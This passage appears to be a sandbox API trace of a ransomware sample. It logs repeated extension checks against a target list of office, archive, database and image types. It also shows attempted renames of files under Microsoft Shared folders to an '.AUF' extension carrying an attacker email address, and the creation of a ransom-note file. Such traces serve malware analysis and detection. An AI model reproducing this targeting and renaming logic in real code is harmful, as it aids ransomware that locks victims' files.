lpString2=".avi") returned 1 [0205.974] lstrlenW (lpString=".xls") returned 4 [0205.974] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.974] lstrlenW (lpString=".xlsx") returned 5 [0205.974] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0205.974] lstrlenW (lpString=".ppt") returned 4 [0205.974] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0205.974] lstrlenW (lpString=".zip") returned 4 [0205.974] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.974] lstrlenW (lpString=".rar") returned 4 [0205.974] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.974] lstrlenW (lpString=".bz2") returned 4 [0205.974] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.974] lstrlenW (lpString=".7z") returned 3 [0205.974] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0205.974] lstrlenW (lpString=".dbf") returned 4 [0205.974] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0205.974] lstrlenW (lpString=".1cd") returned 4 [0205.974] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0205.974] lstrlenW (lpString=".jpg") returned 4 [0205.974] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0205.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0205.974] lstrlenW (lpString=".doc") returned 4 [0205.974] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.974] lstrlenW (lpString=".docx") returned 5 [0205.974] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0205.974] lstrlenW (lpString=".pdf") returned 4 [0205.974] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.974] lstrlenW (lpString=".xls") returned 4 [0205.974] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.974] lstrlenW (lpString=".xlsx") returned 5 [0205.974] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0205.974] lstrlenW (lpString=".ppt") returned 4 [0205.975] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0205.975] lstrlenW (lpString=".zip") returned 4 [0205.975] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.975] lstrlenW (lpString=".rar") returned 4 [0205.975] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.975] lstrlenW (lpString=".bz2") returned 4 [0205.975] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.975] lstrlenW (lpString=".7z") returned 3 [0205.975] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0205.975] lstrlenW (lpString=".dbf") returned 4 [0205.975] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0205.975] lstrlenW (lpString=".1cd") returned 4 [0205.975] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0205.975] lstrlenW (lpString=".jpg") returned 4 [0205.975] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.975] lstrcmpiW (lpString1=".avi", lpString2=".AUF") returned 1 [0205.975] lstrlenW (lpString="split.avi") returned 9 [0205.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0205.975] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=194048) returned 1 [0205.975] CloseHandle (hObject=0x1cc) returned 1 [0205.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0205.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0205.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0205.976] lstrlenW (lpString=".doc") returned 4 [0205.976] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.976] lstrlenW (lpString=".docx") returned 5 [0205.976] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0205.976] lstrlenW (lpString=".pdf") returned 4 [0205.976] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.976] lstrlenW (lpString=".xls") returned 4 [0205.976] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.976] lstrlenW (lpString=".xlsx") returned 5 [0205.976] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0205.976] lstrlenW (lpString=".ppt") returned 4 [0205.976] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0205.976] lstrlenW (lpString=".zip") returned 4 [0205.976] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.976] lstrlenW (lpString=".rar") returned 4 [0205.976] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.976] lstrlenW (lpString=".bz2") returned 4 [0205.976] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.976] lstrlenW (lpString=".7z") returned 3 [0205.976] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0205.976] lstrlenW (lpString=".dbf") returned 4 [0205.976] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0205.976] lstrlenW (lpString=".1cd") returned 4 [0205.976] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0205.976] lstrlenW (lpString=".jpg") returned 4 [0205.976] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0205.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0205.976] lstrlenW (lpString=".doc") returned 4 [0205.976] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.976] lstrlenW (lpString=".docx") returned 5 [0205.976] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0205.976] lstrlenW (lpString=".pdf") returned 4 [0205.976] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.976] lstrlenW (lpString=".xls") returned 4 [0205.977] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.977] lstrlenW (lpString=".xlsx") returned 5 [0205.977] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0205.977] lstrlenW (lpString=".ppt") returned 4 [0205.977] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0205.977] lstrlenW (lpString=".zip") returned 4 [0205.977] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.977] lstrlenW (lpString=".rar") returned 4 [0205.977] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.977] lstrlenW (lpString=".bz2") returned 4 [0205.977] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.977] lstrlenW (lpString=".7z") returned 3 [0205.977] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0205.977] lstrlenW (lpString=".dbf") returned 4 [0205.977] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0205.977] lstrlenW (lpString=".1cd") returned 4 [0205.977] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0205.977] lstrlenW (lpString=".jpg") returned 4 [0205.977] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.977] lstrcmpiW (lpString1=".avi", lpString2=".AUF") returned 1 [0205.977] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0205.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0205.978] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1600388) returned 1 [0205.978] CloseHandle (hObject=0x1cc) returned 1 [0205.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0205.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0205.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0205.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0205.978] lstrlenW (lpString=".doc") returned 4 [0205.978] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.978] lstrlenW (lpString=".docx") returned 5 [0205.978] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0205.978] lstrlenW (lpString=".pdf") returned 4 [0205.978] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.978] lstrlenW (lpString=".xls") returned 4 [0205.978] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.978] lstrlenW (lpString=".xlsx") returned 5 [0205.978] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0205.978] lstrlenW (lpString=".ppt") returned 4 [0205.978] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0205.978] lstrlenW (lpString=".zip") returned 4 [0205.978] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.978] lstrlenW (lpString=".rar") returned 4 [0205.978] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.978] lstrlenW (lpString=".bz2") returned 4 [0205.978] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.978] lstrlenW (lpString=".7z") returned 3 [0205.978] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0205.978] lstrlenW (lpString=".dbf") returned 4 [0205.978] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0205.978] lstrlenW (lpString=".1cd") returned 4 [0205.978] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0205.978] lstrlenW (lpString=".jpg") returned 4 [0205.978] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0205.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0205.979] lstrlenW (lpString=".doc") returned 4 [0205.979] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.979] lstrlenW (lpString=".docx") returned 5 [0205.979] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0205.979] lstrlenW (lpString=".pdf") returned 4 [0205.979] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.979] lstrlenW (lpString=".xls") returned 4 [0205.979] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.979] lstrlenW (lpString=".xlsx") returned 5 [0205.979] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0205.979] lstrlenW (lpString=".ppt") returned 4 [0205.979] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0205.979] lstrlenW (lpString=".zip") returned 4 [0205.979] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.979] lstrlenW (lpString=".rar") returned 4 [0205.979] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.979] lstrlenW (lpString=".bz2") returned 4 [0205.979] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.979] lstrlenW (lpString=".7z") returned 3 [0205.979] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0205.979] lstrlenW (lpString=".dbf") returned 4 [0205.979] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0205.979] lstrlenW (lpString=".1cd") returned 4 [0205.979] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0205.979] lstrlenW (lpString=".jpg") returned 4 [0205.979] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.979] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.979] lstrlenW (lpString="auxbase.xml") returned 11 [0205.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0206.051] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1434) returned 1 [0206.051] CloseHandle (hObject=0x178) returned 1 [0206.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0206.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0206.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0206.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0206.052] lstrlenW (lpString=".doc") returned 4 [0206.052] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.052] lstrlenW (lpString=".docx") returned 5 [0206.052] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0206.052] lstrlenW (lpString=".pdf") returned 4 [0206.052] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.052] lstrlenW (lpString=".xls") returned 4 [0206.052] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.052] lstrlenW (lpString=".xlsx") returned 5 [0206.052] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0206.052] lstrlenW (lpString=".ppt") returned 4 [0206.052] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0206.052] lstrlenW (lpString=".zip") returned 4 [0206.052] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.052] lstrlenW (lpString=".rar") returned 4 [0206.052] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.052] lstrlenW (lpString=".bz2") returned 4 [0206.052] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.052] lstrlenW (lpString=".7z") returned 3 [0206.052] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0206.052] lstrlenW (lpString=".dbf") returned 4 [0206.052] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0206.052] lstrlenW (lpString=".1cd") returned 4 [0206.052] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0206.052] lstrlenW (lpString=".jpg") returned 4 [0206.052] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0206.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0206.052] lstrlenW (lpString=".doc") returned 4 [0206.052] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.053] lstrlenW (lpString=".docx") returned 5 [0206.053] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0206.053] lstrlenW (lpString=".pdf") returned 4 [0206.053] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.053] lstrlenW (lpString=".xls") returned 4 [0206.053] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.053] lstrlenW (lpString=".xlsx") returned 5 [0206.053] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0206.053] lstrlenW (lpString=".ppt") returned 4 [0206.053] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0206.053] lstrlenW (lpString=".zip") returned 4 [0206.053] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.053] lstrlenW (lpString=".rar") returned 4 [0206.053] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.053] lstrlenW (lpString=".bz2") returned 4 [0206.053] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.053] lstrlenW (lpString=".7z") returned 3 [0206.053] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0206.053] lstrlenW (lpString=".dbf") returned 4 [0206.053] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0206.053] lstrlenW (lpString=".1cd") returned 4 [0206.053] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0206.053] lstrlenW (lpString=".jpg") returned 4 [0206.053] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.053] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0206.053] lstrlenW (lpString="kor-kor.xml") returned 11 [0206.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0206.318] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=392) returned 1 [0206.318] CloseHandle (hObject=0x1a8) returned 1 [0206.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0206.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0206.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0206.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0206.319] lstrlenW (lpString=".doc") returned 4 [0206.319] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.319] lstrlenW (lpString=".docx") returned 5 [0206.319] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0206.319] lstrlenW (lpString=".pdf") returned 4 [0206.319] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.319] lstrlenW (lpString=".xls") returned 4 [0206.319] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.319] lstrlenW (lpString=".xlsx") returned 5 [0206.319] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0206.319] lstrlenW (lpString=".ppt") returned 4 [0206.319] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0206.319] lstrlenW (lpString=".zip") returned 4 [0206.319] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.319] lstrlenW (lpString=".rar") returned 4 [0206.319] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.319] lstrlenW (lpString=".bz2") returned 4 [0206.319] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.319] lstrlenW (lpString=".7z") returned 3 [0206.319] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0206.319] lstrlenW (lpString=".dbf") returned 4 [0206.319] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0209.749] SetFilePointerEx (hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8) [0209.749] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.749] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0209.749] 